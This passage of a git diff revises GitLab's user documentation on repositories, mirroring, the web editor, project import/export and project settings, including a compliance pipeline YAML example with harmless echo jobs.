GitLab UI, go to the project's overview page. +1. Select **Clone**. +1. Select **Xcode**. + +The project is cloned onto your computer and you are +prompted to open XCode. + +### Clone and open in Visual Studio Code + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.10. + +All projects can be cloned into Visual Studio Code. To do that: + +1. From the GitLab UI, go to the project's overview page. +1. Click **Clone**. +1. Select **Clone with Visual Studio Code** under either HTTPS or SSH method. +1. Select a folder to clone the project into. + +When VS Code has successfully cloned your project, it opens the folder. -Once you create a new project, you can add new files via UI -(read the section below) or via command line. -To add files from the command line, follow the instructions -presented on the screen when you create a new project, or read -through them in the [command line basics](../../../gitlab-basics/start-using-git.md) -documentation. +## Download the code in a repository -> **Important:** -For security reasons, when using the command line, we strongly recommend -that you [connect with GitLab via SSH](../../../ssh/README.md). +> - Support for directory download was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/24704) in GitLab 11.11. +> - Support for [including Git LFS blobs](../../../topics/git/lfs#lfs-objects-in-project-archives) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5. -## Files +You can download the source code that's stored in a repository. -Use a repository to store your files in GitLab. In [GitLab 12.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/33806), -an icon identifying the extension is shown next to the filename: +1. Above the file list, select the download icon (**{download}**). +1. From the options, select the files you want to download. - + - **Source code:** + Download the source code from the current branch you're viewing. + Available extensions: `zip`, `tar`, `tar.gz`, and `tar.bz2`. + - **Directory:** + Download a specific directory. Visible only when you view a subdirectory. + Available extensions: `zip`, `tar`, `tar.gz`, and `tar.bz2`. + - **Artifacts:** + Download the artifacts from the latest CI job. -### Create and edit files +## Repository languages -Host your codebase in GitLab repositories by pushing your files to GitLab. -You can either use the user interface (UI), or connect your local computer -with GitLab [through the command line](../../../gitlab-basics/command-line-commands.md#start-working-on-your-project). +For the default branch of each repository, GitLab determines which programming languages +are used. This information is displayed on the **Project information** page. -To configure [GitLab CI/CD](../../../ci/README.md) to build, test, and deploy -your code, add a file called [`.gitlab-ci.yml`](../../../ci/quick_start/index.md) -to your repository's root. + -**From the user interface:** +When new files are added, this information can take up to five minutes to update. -The GitLab UI allows you to perform lots of Git commands without having to -touch the command line. Even if you use the command line regularly, sometimes -it's easier to do so [via GitLab UI](web_editor.md): +### Add repository languages -- [Create a file](web_editor.md#create-a-file) -- [Upload a file](web_editor.md#upload-a-file) -- [File templates](web_editor.md#template-dropdowns) -- [Create a directory](web_editor.md#create-a-directory) -- [Start a merge request](web_editor.md#tips) -- [Find file history](git_history.md) -- [Identify changes by line (Git blame)](git_blame.md) +Not all files are detected and listed on the **Project information** page. Documentation, +vendor code, and most markup languages are excluded. -**From the command line:** +You can change this behavior by overriding the default settings. -To get started with the command line, please read through the -[command line basics documentation](../../../gitlab-basics/command-line-commands.md). +1. In your repository's root directory, create a file named `.gitattributes`. +1. Add a line that tells GitLab to include files of this type. For example, + to enable `.proto` files, add the following code: -### Find files + ```plaintext + *.proto linguist-detectable=true + ``` -Use the GitLab [file finder](file_finder.md) to search for files in a repository. +View a list of +[supported data types](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). -### Supported markup languages and extensions +This feature can use excessive CPU. +For more information, see the [troubleshooting section](#repository-languages-excessive-cpu-use). -GitLab supports a number of markup languages (sometimes called [lightweight -markup languages](https://en.wikipedia.org/wiki/Lightweight_markup_language)) -that you can use for the content of your files in a repository. They are mostly -used for documentation purposes. +### Supported markup languages -Just pick the right extension for your files and GitLab renders them -according to the markup language. +If your file has one of the following file extensions, GitLab renders the +contents of the file's [markup language](https://en.wikipedia.org/wiki/Lightweight_markup_language) in the UI. | Markup language | Extensions | | --------------- | ---------- | @@ -90,38 +157,25 @@ according to the markup language. | [creole](http://www.wikicreole.org/) | `creole` | | [MediaWiki](https://www.mediawiki.org/wiki/MediaWiki) | `wiki`, `mediawiki` | -### Repository README and index files - -When a `README` or `index` file is present in a repository, its contents are -automatically pre-rendered by GitLab without opening it. - -They can either be plain text or have an extension of a -[supported markup language](#supported-markup-languages-and-extensions): - -Some things to note about precedence: +### README and index files -1. When both a `README` and an `index` file are present, the `README` always - takes precedence. -1. When more than one file is present with different extensions, they are - ordered alphabetically, with the exception of a file without an extension, - which is always last in precedence. For example, `README.adoc` takes - precedence over `README.md`, and `README.rst` takes precedence over - `README`. +When a `README` or `index` file is present in a repository, GitLab renders its contents. +These files can either be plain text or have the extension of a +[supported markup language](#supported-markup-languages). -### Jupyter Notebook files - -[Jupyter](https://jupyter.org/) Notebook (previously IPython Notebook) files are used for -interactive computing in many fields and contain a complete record of the -user's sessions and include code, narrative text, equations, and rich output. - -[Read how to use Jupyter notebooks with GitLab.](jupyter_notebooks/index.md) +- When both a `README` and an `index` file are present, the `README` always + takes precedence. +- When multiple files have the same name but a different extension, the files are + ordered alphabetically. Any file without an extension is ordered last. + For example, `README.adoc` takes precedence over `README.md`, and `README.rst` + takes precedence over `README`. ### OpenAPI viewer > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/19515) in GitLab 12.6. -GitLab can render OpenAPI specification files with its file viewer, provided -their filenames include `openapi` or `swagger` and their extension is `yaml`, +GitLab can render OpenAPI specification files. The filename +must include `openapi` or `swagger` and the extension must be `yaml`, `yml`, or `json`. The following examples are all correct: - `openapi.yml` @@ -138,200 +192,73 @@ their filenames include `openapi` or `swagger` and their extension is `yaml`, - `openapi.gitlab.yml` - `gitlab.openapi.yml` -Then, to render them: +To render an OpenAPI file: -1. Navigate to the OpenAPI file in your repository in the GitLab UI. -1. Click the "Display OpenAPI" button which is located between the "Display source" - and "Edit" buttons (when an OpenAPI file is found, it replaces the - "Display rendered file" button). +1. Go to the OpenAPI file in your repository. +1. Between the **Display source** and **Edit** buttons, select **Display OpenAPI**. When an OpenAPI file is found, it replaces the + **Display rendered file** button. -## Branches +## Repository size -For details, see [Branches](branches/index.md). +The **Project information** page shows the size of all files in the repository. The size is +updated, at most, every 15 minutes. The file size includes repository files, artifacts, and LFS. -## Commits +The size can differ slightly from one instance to another due to compression, housekeeping, and other factors. -When you [commit your changes](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository), -you are introducing those changes to your branch. -Via command line, you can commit multiple times before pushing. +Administrators can set a [repository size limit](../../admin_area/settings/account_and_limit_settings.md). +[GitLab sets the size limits for GitLab.com](../../gitlab_com/index.md#account-and-limit-settings). -- **Commit message:** - A commit message is important to identity what is being changed and, - more importantly, why. In GitLab, you can add keywords to the commit - message that performs one of the actions below: - - **Trigger a GitLab CI/CD pipeline:** - If you have your project configured with [GitLab CI/CD](../../../ci/README.md), - you trigger a pipeline per push, not per commit. - - **Skip pipelines:** - You can add to your commit message the keyword - [`[ci skip]`](../../../ci/yaml/README.md#skip-pipeline), - and GitLab CI/CD skips that pipeline. - - **Cross-link issues and merge requests:** - [Cross-linking](../issues/crosslinking_issues.md#from-commit-messages) - is great to keep track of what's is somehow related in your workflow. - If you mention an issue or a merge request in a commit message, they are shown - on their respective thread. -- **Cherry-pick a commit:** - In GitLab, you can - [cherry-pick a commit](../merge_requests/cherry_pick_changes.md#cherry-picking-a-commit) - right from the UI. -- **Revert a commit:** - Easily [revert a commit](../merge_requests/revert_changes.md#reverting-a-commit) - from the UI to a selected branch. -- **Sign a commit:** - Use GPG to [sign your commits](gpg_signed_commits/index.md). - -## Project and repository size +## Repository contributor graph -A project's size is reported on the project's **Details** page. The reported size is -updated every 15 minutes at most, so may not reflect recent activity. The displayed files size includes repository files, artifacts, and LFS. +All code contributors are displayed under your project's **Repository > Contributors**. -The project size may differ slightly from one instance to another due to compression, housekeeping, and other factors. - -[Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by administrators. -GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings). - -## Contributors - -All the contributors to your codebase are displayed under your project's **Settings > Contributors**. - -They are ordered from the collaborator with the greatest number -of commits to the fewest, and displayed on a nice graph: +The graph shows the contributor with the most commits to the fewest.  -## Repository graph - -The repository graph displays the history of the repository network visually, including branches and merges. This can help you visualize the Git flow strategy used in the repository: - - - -Find it under your project's **Repository > Graph**. +## Repository history graph -## Repository languages - -For the default branch of each repository, GitLab determines what programming languages -were used and displays this on the project's pages. If this information is missing, it's -added after updating the default branch for the project. This process can take up to five -minutes. - - - -Not all files are detected, among others; documentation, -vendored code, and most markup languages are excluded. This behavior can be -adjusted by overriding the default. For example, to enable `.proto` files to be -detected, add the following to `.gitattributes` in the root of your repository. - -```plaintext -*.proto linguist-detectable=true -``` - -Sometimes this feature can use excessive CPU. -[Read about troubleshooting this](#repository-languages-excessive-cpu-use) -and also more about customizing this feature using `.gitattributes`. - -## Locked files **(PREMIUM)** +A repository graph displays a visual history of the repository network, including branches and merges. +This graph can help you visualize the Git flow strategy used in the repository. -Use [File Locking](../file_lock.md) to -lock your files to prevent any conflicting changes. - -## Repository's API - -You can access your repositories via [repository API](../../../api/repositories.md). - -## Clone a repository - -Learn how to [clone a repository through the command line](../../../gitlab-basics/start-using-git.md#clone-a-repository). - -Alternatively, clone directly into a code editor as documented below. - -### Clone and open in Apple Xcode +Go to your project's **Repository > Graph**. -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45820) in GitLab 11.0. - -Projects that contain a `.xcodeproj` or `.xcworkspace` directory can now be cloned -into Xcode on macOS. To do that: - -1. From the GitLab UI, go to the project's overview page. -1. Click **Clone**. -1. Select **Xcode**. - -The project is cloned onto your computer in a folder of your choice and you are -prompted to open XCode. - -### Clone and open in Visual Studio Code - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.10. - -All projects can be cloned into Visual Studio Code. To do that: - -1. From the GitLab UI, go to the project's overview page. -1. Click **Clone**. -1. Select **VS Code**. -1. Select a folder to clone the project into. - -When VS Code has successfully cloned your project, it opens the folder. - -## Download source code - -> - Support for directory download was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/24704) in GitLab 11.11. -> - Support for [including Git LFS blobs](../../../topics/git/lfs#lfs-objects-in-project-archives) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5. - -The source code stored in a repository can be downloaded from the UI. -By clicking the download icon, a dropdown opens with links to download the following: - - - -- **Source code:** - allows users to download the source code on branch they're currently - viewing. Available extensions: `zip`, `tar`, `tar.gz`, and `tar.bz2`. -- **Directory:** - only shows up when viewing a sub-directory. This allows users to download - the specific directory they're currently viewing. Also available in `zip`, - `tar`, `tar.gz`, and `tar.bz2`. -- **Artifacts:** - allows users to download the artifacts of the latest CI build. - -## Redirects when changing repository paths + -When a repository path changes, it is essential to smoothly transition from the -old location to the new one. GitLab provides two kinds of redirects: the web UI -and Git push/pull redirects. +## What happens when a repository path changes -Depending on the situation, different things apply. +When a repository path changes, GitLab handles the transition from the +old location to the new one with a redirect. -When [renaming a user](../../profile/index.md#change-your-username), -[changing a group path](../../group/index.md#change-a-groups-path) or [renaming a repository](../settings/index.md#renaming-a-repository): +When you [rename a user](../../profile/index.md#change-your-username), +[change a group path](../../group/index.md#change-a-groups-path), or [rename a repository](../settings/index.md#renaming-a-repository): -- Existing web URLs for the namespace and anything under it (such as projects) will - redirect to the new URLs. -- Starting with GitLab 10.3, existing Git remote URLs for projects under the - namespace redirect to the new remote URL. Every time you push/pull to a - repository that has changed its location, a warning message to update - your remote is displayed instead of rejecting your action. - This means that any automation scripts, or Git clients continue to - work after a rename, making any transition a lot smoother. +- URLs for the namespace and everything under it, like projects, are + redirected to the new URLs. +- Git remote URLs for projects under the + namespace redirect to the new remote URL. When you push or pull to a + repository that has changed location, a warning message to update + your remote is displayed. Automation scripts or Git clients continue to + work after a rename. - The redirects are available as long as the original path is not claimed by - another group, user or project. + another group, user, or project. ## Troubleshooting ### Repository Languages: excessive CPU use -GitLab uses a Ruby gem to scan all the files in the repository to determine what languages are used. -[Sometimes this can use excessive CPU](https://gitlab.com/gitlab-org/gitaly/-/issues/1565) if -a file type needs to be parsed by the gem to determine what sort of file it is. +To determine which languages are in a repository's files, GitLab uses a Ruby gem. +When the gem parses a file to determine which type it is, [the process can use excessive CPU](https://gitlab.com/gitlab-org/gitaly/-/issues/1565). The gem contains a [heuristics configuration file](https://github.com/github/linguist/blob/master/lib/linguist/heuristics.yml) -that defines what file extensions need to be parsed. +that defines which file extensions must be parsed. -Excessive CPU use has been reported for files with the extension `.txt` and XML files with -a file extension that is not defined by the gem. +Files with the `.txt` extension and XML files with an extension not defined by the gem can take excessive CPU. -The workaround is to specify what language to assign to specific file extensions. +The workaround is to specify the language to assign to specific file extensions. The same approach should also allow misidentified file types to be fixed. -1. Identify which language to specify. The gem contains a [configuration file for known data types](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). - The entry for `Text` files, for example: +1. Identify the language to specify. The gem contains a [configuration file for known data types](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). + To add an entry for text files, for example: ```yaml Text: @@ -350,4 +277,17 @@ The same approach should also allow misidentified file types to be fixed. *.txt linguist-language=Text ``` - `*.txt` files have an entry in the heuristics file. The example above prevents parsing of these files. + `*.txt` files have an entry in the heuristics file. This example prevents parsing of these files. + +## Related topics + +- To lock files and prevent change conflicts, use [file locking](../file_lock.md). +- [Repository API](../../../api/repositories.md). +- [Find files](file_finder.md) in a repository. +- [Branches](branches/index.md). +- [File templates](web_editor.md#template-dropdowns). +- [Create a directory](web_editor.md#create-a-directory). +- [Start a merge request](web_editor.md#tips). +- [Find file history](git_history.md). +- [Identify changes by line (Git blame)](git_blame.md). +- [Use Jupyter notebooks with GitLab](jupyter_notebooks/index.md). diff --git a/doc/user/project/repository/jupyter_notebooks/index.md b/doc/user/project/repository/jupyter_notebooks/index.md index 4b649bab4d9..2ad1504aac3 100644 --- a/doc/user/project/repository/jupyter_notebooks/index.md +++ b/doc/user/project/repository/jupyter_notebooks/index.md @@ -20,10 +20,9 @@ rendered to HTML when viewed: Interactive features, including JavaScript plots, don't work when viewed in GitLab. -## Jupyter Hub as a GitLab Managed App - -You can deploy [Jupyter Hub as a GitLab managed app](../../../clusters/applications.md#jupyterhub). - ## Jupyter Git integration -Find out how to [leverage JupyterLab's Git extension on your Kubernetes cluster](../../../clusters/applications.md#jupyter-git-integration). +Jupyter can be configured as an OAuth application with repository access, acting +on behalf of the authenticated user. See the +[Runbooks documentation](../../../project/clusters/runbooks/index.md) for an +example configuration. diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md index 3bbe9e6cb66..e9f214f08ce 100644 --- a/doc/user/project/repository/repository_mirroring.md +++ b/doc/user/project/repository/repository_mirroring.md @@ -8,7 +8,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/repository_mirroring.htm # Repository mirroring **(FREE)** Repository mirroring allows for the mirroring of repositories to and from external sources. You -can use it to mirror branches, tags, and commits between repositories. It's useful when you want to use +can use it to mirror branches, tags, and commits between repositories. It helps you use a repository outside of GitLab. A repository mirror at GitLab updates automatically. You can also manually trigger an update @@ -22,21 +22,22 @@ There are two kinds of repository mirroring supported by GitLab: When the mirror repository is updated, all new branches, tags, and commits are visible in the project's activity feed. -Users with [Maintainer access](../../permissions.md) to the project can also force an +Users with the [Maintainer role](../../permissions.md) for the project can also force an immediate update, unless: - The mirror is already being updated. - The [limit for pull mirroring interval seconds](../../../administration/instance_limits.md#pull-mirroring-interval) has not elapsed since its last update. -For security reasons, the URL to the original repository is only displayed to users with -Maintainer or Owner permissions to the mirrored project. +For security reasons, the URL to the original repository is only displayed to users with the +[Maintainer role](../../permissions.md) or the [Owner role](../../permissions.md) for the mirrored +project. ## Use cases The following are some possible use cases for repository mirroring: - You migrated to GitLab but still need to keep your project in another source. In that case, you - can simply set it up to mirror to GitLab (pull) and all the essential history of commits, tags, + can set it up to mirror to GitLab (pull) and all the essential history of commits, tags, and branches are available in your GitLab instance. **(PREMIUM)** - You have old projects in another source that you don't use actively anymore, but don't want to remove for archiving purposes. In that case, you can create a push mirror so that your active @@ -65,9 +66,9 @@ For an existing project, you can set up push mirroring as follows:  When push mirroring is enabled, only push commits directly to the mirrored repository to prevent the -mirror diverging. +mirror diverging. -Unlike [pull mirroring](#how-it-works), the mirrored repository is not periodically auto-synced. +Unlike [pull mirroring](#how-it-works), the mirrored repository is not periodically auto-synced. The mirrored repository receives all changes only when: - Commits are pushed to GitLab. @@ -93,19 +94,19 @@ You can also create and modify project push mirrors through the By default, if any ref on the remote mirror has diverged from the local repository, the *entire push* fails, and no updates occur. -For example, if a repository has `master`, `develop`, and `stable` branches that +For example, if a repository has `main`, `develop`, and `stable` branches that have been mirrored to a remote, and then a new commit is added to `develop` on -the mirror, the next push attempt fails, leaving `master` and `stable` +the mirror, the next push attempt fails, leaving `main` and `stable` out-of-date despite not having diverged. No change on any branch can be mirrored until the divergence is resolved. With the **Keep divergent refs** option enabled, the `develop` branch is -skipped, allowing `master` and `stable` to be updated. The mirror status +skipped, allowing `main` and `stable` to be updated. The mirror status reflects that `develop` has diverged and was skipped, and be marked as a failed update. NOTE: -After the mirror is created, this option can currently only be modified via the [API](../../../api/remote_mirrors.md). +After the mirror is created, this option can only be modified via the [API](../../../api/remote_mirrors.md). ### Setting up a push mirror from GitLab to GitHub @@ -122,11 +123,15 @@ The repository pushes shortly thereafter. To force a push, select the **Update n ### Setting up a push mirror from GitLab to AWS CodeCommit -AWS CodeCommit push mirroring is currently the best way to connect GitLab repositories to AWS CodePipeline, as GitLab isn't yet supported as one of their Source Code Management (SCM) providers. +AWS CodeCommit push mirroring is the best way to connect GitLab repositories to +AWS CodePipeline, as GitLab isn't yet supported as one of their Source Code Management (SCM) providers. -Each new AWS CodePipeline needs significant AWS infrastructure setup. It also requires an individual pipeline per branch. +Each new AWS CodePipeline needs significant AWS infrastructure setup. It also +requires an individual pipeline per branch. -If AWS CodeDeploy is the final step of a CodePipeline, you can, instead, leverage GitLab CI/CD pipelines and simply use the AWS CLI in the final job in `.gitlab-ci.yml` to deploy to CodeDeploy. +If AWS CodeDeploy is the final step of a CodePipeline, you can, instead, leverage +GitLab CI/CD pipelines and use the AWS CLI in the final job in `.gitlab-ci.yml` +to deploy to CodeDeploy. NOTE: GitLab-to-AWS-CodeCommit push mirroring cannot use SSH authentication until [GitLab issue 34014](https://gitlab.com/gitlab-org/gitlab/-/issues/34014) is resolved. @@ -214,10 +219,9 @@ If it isn't working correctly, a red `error` tag appears and shows the error mes You can set up a repository to automatically have its branches, tags, and commits updated from an upstream repository. -This is useful when a repository you're interested in is located on a different server, and you want -to be able to browse its content and its activity using the familiar GitLab interface. - -To configure mirror pulling for an existing project: +If a repository you're interested in is located on a different server, and you want +to browse its content and its activity using the GitLab interface, you can configure +mirror pulling: 1. If you [configured two-factor authentication (2FA)](https://docs.github.com/en/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa) for GitHub, create a [personal access token for GitHub](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token) @@ -244,7 +248,7 @@ Because GitLab is now set to pull changes from the upstream repository, you shou directly to the repository on GitLab. Instead, any commits should be pushed to the remote repository. Changes pushed to the remote repository are pulled into the GitLab repository, either: -- Automatically within a certain period of time. +- Automatically in a certain period of time. - When a [forced update](#forcing-an-update) is initiated. WARNING: @@ -254,7 +258,7 @@ Deleted branches and tags in the upstream repository are not reflected in the Gi ### How it works -Once the pull mirroring feature has been enabled for a repository, the repository is added to a queue. +After the pull mirroring feature has been enabled for a repository, the repository is added to a queue. Once per minute, a Sidekiq cron job schedules repository mirrors to update, based on: @@ -556,7 +560,7 @@ Bidirectional mirroring should not be used as a permanent configuration. Refer t [Git Fusion](https://www.perforce.com/manuals/git-fusion/#Git-Fusion/section_avy_hyc_gl.html) provides a Git interface to [Perforce Helix](https://www.perforce.com/products) which can be used by GitLab to bidirectionally -mirror projects with GitLab. This may be useful in some situations when migrating from Perforce Helix +mirror projects with GitLab. This can help you in some situations when migrating from Perforce Helix to GitLab where overlapping Perforce Helix workspaces cannot be migrated simultaneously to GitLab. If using mirroring with Perforce Helix, you should only mirror protected branches. Perforce Helix diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md index 4e8e3f1bbce..cca8d770115 100644 --- a/doc/user/project/repository/web_editor.md +++ b/doc/user/project/repository/web_editor.md @@ -144,7 +144,7 @@ This dropdown contains the options **Create merge request and branch** and **Cre  After selecting one of these options, a new branch or branch and merge request -is created based on your project's default branch. By default, this branch is `master`. +is created based on your project's [default branch](branches/default.md). The branch name is based on an internal ID, and the issue title. The example screenshot above creates a branch named `2-make-static-site-auto-deploy-and-serve`. @@ -152,7 +152,7 @@ screenshot above creates a branch named When you click the **Create branch** button in an empty repository project, GitLab performs these actions: -- Creates a `master` branch. +- Creates a default branch. - Commits a blank `README.md` file to it. - Creates and redirects you to a new branch based on the issue title. - _If your project is [configured with a deployment service](../integrations/overview.md) like Kubernetes,_ @@ -183,7 +183,7 @@ request, you can create a new branch upfront.  You can now make changes to any files, as needed. When you're ready to merge -the changes back to `master`, you can use the widget at the top of the screen. +the changes back to your [default branch](branches/default.md), you can use the widget at the top of the screen. This widget only appears for a period of time after you create the branch or modify files. @@ -211,7 +211,7 @@ SHA: ## Tips When creating or uploading a new file or creating a new directory, you can -trigger a new merge request rather than committing directly to `master`: +trigger a new merge request rather than committing directly to your default branch: 1. Enter a new branch name in the **Target branch** field. 1. GitLab displays the **Start a new merge request with these changes** check box. diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md index f5fa6e37d1c..890784cecf5 100644 --- a/doc/user/project/settings/import_export.md +++ b/doc/user/project/settings/import_export.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Project import/export +# Project import/export **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3050) in GitLab 8.9. > - From GitLab 10.0, administrators can disable the project export option on the GitLab instance. @@ -24,9 +24,9 @@ See also: To set up a project import/export: - 1. Navigate to **Admin Area > Settings > Visibility and access controls**. - 1. Scroll to **Import sources** - 1. Enable desired **Import sources** + 1. On the top bar, go to **Menu > Admin > Settings > General > Visibility and access controls**. + 1. Scroll to **Import sources**. + 1. Enable the desired **Import sources**. ## Important notes @@ -43,7 +43,7 @@ Note the following: and are moved to your configured `uploads_directory`. Every 24 hours, a specific worker deletes these export files. - Group members are exported as project members, as long as the user has maintainer or administrator access to the group where the exported project lives. -- Project members with owner access are imported as maintainers. +- Project members with the [Owner role](../../permissions.md) are imported as Maintainers. - Imported users can be mapped by their primary email on self-managed instances, if an administrative user (not an owner) does the import. Otherwise, a supplementary comment is left to mention that the original author and the MRs, notes, or issues are owned by the importer. @@ -139,7 +139,7 @@ The following items are **not** exported: NOTE: For more details on the specific data persisted in a project export, see the -[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/project/import_export.yml) file. +[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/project/import_export.yml) file. ## Exporting a project and its data diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md index d3177aa7585..03a77e42765 100644 --- a/doc/user/project/settings/index.md +++ b/doc/user/project/settings/index.md @@ -30,7 +30,7 @@ Adjust your project's name, description, avatar, [default branch](../repository/  -The project description also partially supports [standard Markdown](../../markdown.md#standard-markdown-and-extensions-in-gitlab). You can use [emphasis](../../markdown.md#emphasis), [links](../../markdown.md#links), and [line-breaks](../../markdown.md#line-breaks) to add more context to the project description. +The project description also partially supports [standard Markdown](../../markdown.md#features-extended-from-standard-markdown). You can use [emphasis](../../markdown.md#emphasis), [links](../../markdown.md#links), and [line-breaks](../../markdown.md#line-breaks) to add more context to the project description. #### Compliance frameworks **(PREMIUM)** @@ -79,7 +79,7 @@ Example `.compliance-gitlab-ci.yml` ```yaml # Allows compliance team to control the ordering and interweaving of stages/jobs. # Stages without jobs defined will remain hidden. -stages: +stages: - pre-compliance - build - test @@ -93,26 +93,82 @@ variables: # can be overriden by a developer's local .gitlab-ci.yml sast: # none of these attributes can be overriden by a developer's local .gitlab-ci.yml variables: FOO: sast + image: ruby:2.6 stage: pre-compliance + rules: + - when: always + allow_failure: false + before_script: + - "# No before scripts." script: - echo "running $FOO" + after_script: + - "# No after scripts." sanity check: + image: ruby:2.6 stage: pre-deploy-compliance + rules: + - when: always + allow_failure: false + before_script: + - "# No before scripts." script: - echo "running $FOO" + after_script: + - "# No after scripts." audit trail: + image: ruby:2.6 stage: post-compliance + rules: + - when: always + allow_failure: false + before_script: + - "# No before scripts." script: - echo "running $FOO" + after_script: + - "# No after scripts." include: # Execute individual project's configuration project: '$CI_PROJECT_PATH' - file: '$CI_PROJECT_CONFIG_PATH' + file: '$CI_CONFIG_PATH' ``` +##### Ensure compliance jobs are always run + +Compliance pipelines use GitLab CI/CD to give you an incredible amount of flexibility +for defining any sort of compliance jobs you like. Depending on your goals, these jobs +can be configured to be: + +- Modified by users. +- Non-modifiable. + +At a high-level, if a value in a compliance job: + +- Is set, it cannot be changed or overridden by project-level configurations. +- Is not set, a project-level configuration may set. + +Either might be wanted or not depending on your use case. + +There are a few best practices for ensuring that these jobs are always run exactly +as you define them and that downstream, project-level pipeline configurations +cannot change them: + +- Add a `rules:when:always` block to each of your compliance jobs. This ensures they are + non-modifiable and are always run. +- Explicitly set any variables the job references. This: + - Ensures that project-level pipeline configurations do not set them and alter their + behavior. + - Includes any jobs that drive the logic of your job. +- Explicitly set the container image file to run the job in. This ensures that your script + steps execute in the correct environment. +- Explicitly set any relevant GitLab pre-defined [job keywords](../../../ci/yaml/README.md#job-keywords). + This ensures that your job uses the settings you intend and that they are not overriden by + project-level pipelines. + ### Sharing and permissions For your repository, you can set up features such as public access, repository features, @@ -123,7 +179,7 @@ section. You can now change the [Project visibility](../../../public_access/public_access.md). If you set **Project Visibility** to public, you can limit access to some features to **Only Project Members**. In addition, you can select the option to -[Allow users to request access](../members/index.md#project-membership-and-requesting-access). +[Allow users to request access](../members/index.md#prevent-users-from-requesting-access-to-a-project). Use the switches to enable or disable the following features: @@ -193,6 +249,7 @@ Set up your project's merge request settings: - Set up the merge request method (merge commit, [fast-forward merge](../merge_requests/fast_forward_merge.md)). - Add merge request [description templates](../description_templates.md#description-templates). - Enable [merge request approvals](../merge_requests/approvals/index.md). +- Enable [status checks](../merge_requests/status_checks.md). - Enable [merge only if pipeline succeeds](../merge_requests/merge_when_pipeline_succeeds.md). - Enable [merge only when all threads are resolved](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved). - Enable [require an associated issue from Jira](../../../integration/jira/issues.md#require-associated-jira-issue-for-merge-requests-to-be-merged). @@ -242,10 +299,11 @@ To find an archived project: 1. If you: - Have the project's URL, open the project's page in your browser. - Don't have the project's URL: - 1. Click **Projects > Explore projects**. - 1. In the **Sort projects** dropdown box, select **Show archived projects**. - 1. In the **Filter by name** field, provide the project's name. - 1. Click the link to the project to open its **Details** page. + 1. On the top bar, select **Menu > Project**. + 1. Select **Explore projects**. + 1. In the **Sort projects** dropdown box, select **Show archived projects**. + 1. In the **Filter by name** field, provide the project's name. + 1. Click the link to the project to open its **Details** page. Next, to unarchive the project: @@ -273,7 +331,7 @@ To rename a repository: Remember that this can have unintended side effects since everyone with the old URL can't push or pull. Read more about what happens with the -[redirects when renaming repositories](../repository/index.md#redirects-when-changing-repository-paths). +[redirects when renaming repositories](../repository/index.md#what-happens-when-a-repository-path-changes). #### Transferring an existing project into another namespace @@ -283,7 +341,7 @@ to transfer a project. You can transfer an existing project into a [group](../../group/index.md) if: -- You have at least **Maintainer** [permissions](../../permissions.md#project-members-permissions) to that group. +- You have at least the Maintainer** role in that group. - You're at least an **Owner** of the project to be transferred. - The group to which the project is being transferred to must allow creation of new projects. @@ -297,7 +355,7 @@ To transfer a project: Once done, you are redirected to the new project's namespace. At this point, read what happens with the -[redirects from the old project to the new one](../repository/index.md#redirects-when-changing-repository-paths). +[redirects from the old project to the new one](../repository/index.md#what-happens-when-a-repository-path-changes). NOTE: GitLab administrators can use the administration interface to move any project to any @@ -306,7 +364,7 @@ namespace if needed. #### Delete a project NOTE: -Only project owners and administrators have [permissions](../../permissions.md#project-members-permissions) to delete a project. +Only project Owners and administrators have [permissions](../../permissions.md#project-members-permissions) to delete a project. To delete a project: @@ -318,10 +376,10 @@ This action: - Deletes a project including all associated resources (issues, merge requests etc). - From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium](https://about.gitlab.com/pricing/) or higher tiers, -group owners can [configure](../../group/index.md#enable-delayed-project-removal) projects within a group -to be deleted after a delayed period. -When enabled, actual deletion happens after number of days -specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). + group Owners can [configure](../../group/index.md#enable-delayed-project-removal) projects within a group + to be deleted after a delayed period. + When enabled, actual deletion happens after number of days + specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). WARNING: The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to @@ -354,10 +412,10 @@ To do so: 1. Confirm the action by typing the project's path as instructed. NOTE: -Only project owners have the [permissions](../../permissions.md#project-members-permissions) +Only project Owners have the [permissions](../../permissions.md#project-members-permissions) to remove a fork relationship. -## Operations settings +## Monitor settings ### Alerts diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md index d37e6144ab3..be8a961d6c0 100644 --- a/doc/user/project/settings/project_access_tokens.md +++ b/doc/user/project/settings/project_access_tokens.md @@ -81,6 +81,8 @@ the 